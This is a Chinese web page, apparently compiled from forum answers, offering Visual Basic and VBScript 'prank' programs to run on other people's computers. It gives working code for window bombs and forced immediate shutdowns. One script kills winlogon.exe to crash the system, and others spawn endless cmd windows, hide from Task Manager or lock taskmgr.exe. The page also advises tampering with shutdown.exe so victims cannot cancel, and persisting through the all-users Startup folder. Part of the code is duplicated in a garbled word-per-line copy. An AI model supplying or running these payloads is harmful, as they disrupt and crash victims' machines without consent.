vb怎么恶搞_vb代码怎么编写

1、窗口炸弹

vb怎么恶搞_vb代码怎么编写

Private Sub Form_Load()

For a = 1 To 10

Shell "cmd /c echo 轰隆——一切的全完了！ & pause", vbNormalFocus

Next

End Sub

2、数羊程序

Private Sub Form_Load()

MsgBox "困死我了，睡不着，帮我数羊", , "数羊"

MsgBox "就一百只羊吧！", , "数羊"

For a = 1 To 100

MsgBox a & "只羊", , "数羊"

Next

MsgBox "身边没个人，好孤单，好寂寞……", "64", "数羊"

Shell "shutdown -s -t 0"

End Sub

3、按十万次回车

Private Sub Form_Load()

For a = 1 To 100000

SendKeys "{enter}"

Next

End Sub

其实换个角度去想嘛..你可以直接将SHUTDOWN.EXE移动别的位置..只有你的程序才能SHELL到..中招的人就算运行SHUTDOWN -A..而对应的程序不存在自然没作用了.

嘻嘻...还有很多方法的...

这还不简单，用VB先编个死循环卡死对方，在加此代码，先卡死在运行这代码，不就行了

可以用循环，也可以把运行从菜单里移除。

对于一般的菜鸟，足够了。

把shutdown.exe名字改了，或者移除Windows目录

s2

="C:\Documents

and

Settings\Administrator\「开始」菜单\程序\启动\"

&App.EXEName

&".exe"

把Administrator改成all

users

Shell

"Shutdown.exe

-s

-t

0"改成Shell

"Shutdown.exe

-s

-t

-f"

If

Format(Now,

"yyyy/mm/dd")

="20100402"

Then

改成

If

val(Format(Now,

"yyyy/mm/dd"))>=

20100402

Then

错误70是权限错误,不知道你为何遇到

蓝屏：msgbox "我想要你蓝屏，哈哈..."

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

set ob=wscript.createobject("wscript.shell") 无限循环：domsgbox""loop 强制关机：on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

这是一个吓人程序：

首先新建一个文件夹，放一张比较吓人的图片，名称为“3.jpg”。

在vb中新建工程，创建一个计时器，interval设为1000。窗体的borderstyie设为0。

输入如下代码：

Dim a, x As Integer

Dim b As Boolean

Private Sub Form_Load()

Form1.Picture = LoadPicture(App.Path & "\3.jpg")

a = 0

b = False

Form1.Hide

'Shell "cmd /c taskkill /im explorer.exe /f"

End Sub

Private Sub Timer1_Timer()

App.TaskVisible = False

If a = 120 Then

Form1.Show

b = True

a = 0

Else

a = a + 1

End If

If b = True Then

x = x + 1

End If

If x = 10 Then

Form1.Hide

x = 0

b = False

End If

End Sub

Private Sub Form_DblClick()

End

End Sub

双击后窗体关闭，否则每隔120秒打开窗体10秒。 （程序可执行文件放入与图片相同的文件夹）

private sub form_Load()

dim i as integer

i=1

Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1

while(i>0)’构造死循环

shell("C:\windows\system32\cmd.exe")

wend

end sub

另外把窗体的Visible属性设置成False，这样连程序窗体都看不到了

做个循环，只有按Q键才可以退出。

1、窗口炸弹

Private

Sub

Form_Load()

For

a=

1To

10

Shell

"cmd

/c

echo

轰隆——一切的全完了！

&pause",

vbNormalFocus

Next

End

Sub

2、数羊程序

Private

Sub

Form_Load()

MsgBox

"困死我了，睡不着，帮我数羊",

,"数羊"

MsgBox

"就一百只羊吧！",

,"数羊"

For

a=

1To

100

MsgBox

a&

"只羊",

,"数羊"

Next

MsgBox

"身边没个人，好孤单，好寂寞……",

"64",

"数羊"

Shell

"shutdown

-s

-t

0"

End

Sub

3、按十万次回车

Private

Sub

Form_Load()

For

a=

1To

100000

SendKeys

"{enter}"

Next

End

Sub

'新建一个工程,什么都不干

'在Form_QueryUnload 和 Unload事件写代码

Private Sub Form_Load()

App.TaskVisible = False '不在任务管理器显示

'Form1.ShowInTaskBar = False '不在任务栏显示

End Sub

Private Sub Form_QueryUnload(Cancel As Integer)

Msgbox "对不起,现在忙..."

Cancel = 1

End Sub

Private Sub Form_Unload(Cancel As Integer)

Msgbox "对不起,现在忙..."

Cancel = 1

End Sub

Private Sub Form_Click()

Static i As Integer

i = i + 1

If i >= 100 Then End '点100次窗体就结束

End Sub

弄一个无边框的全屏程序（没有右上角那个红X）

再自己想一种独特的退出方式。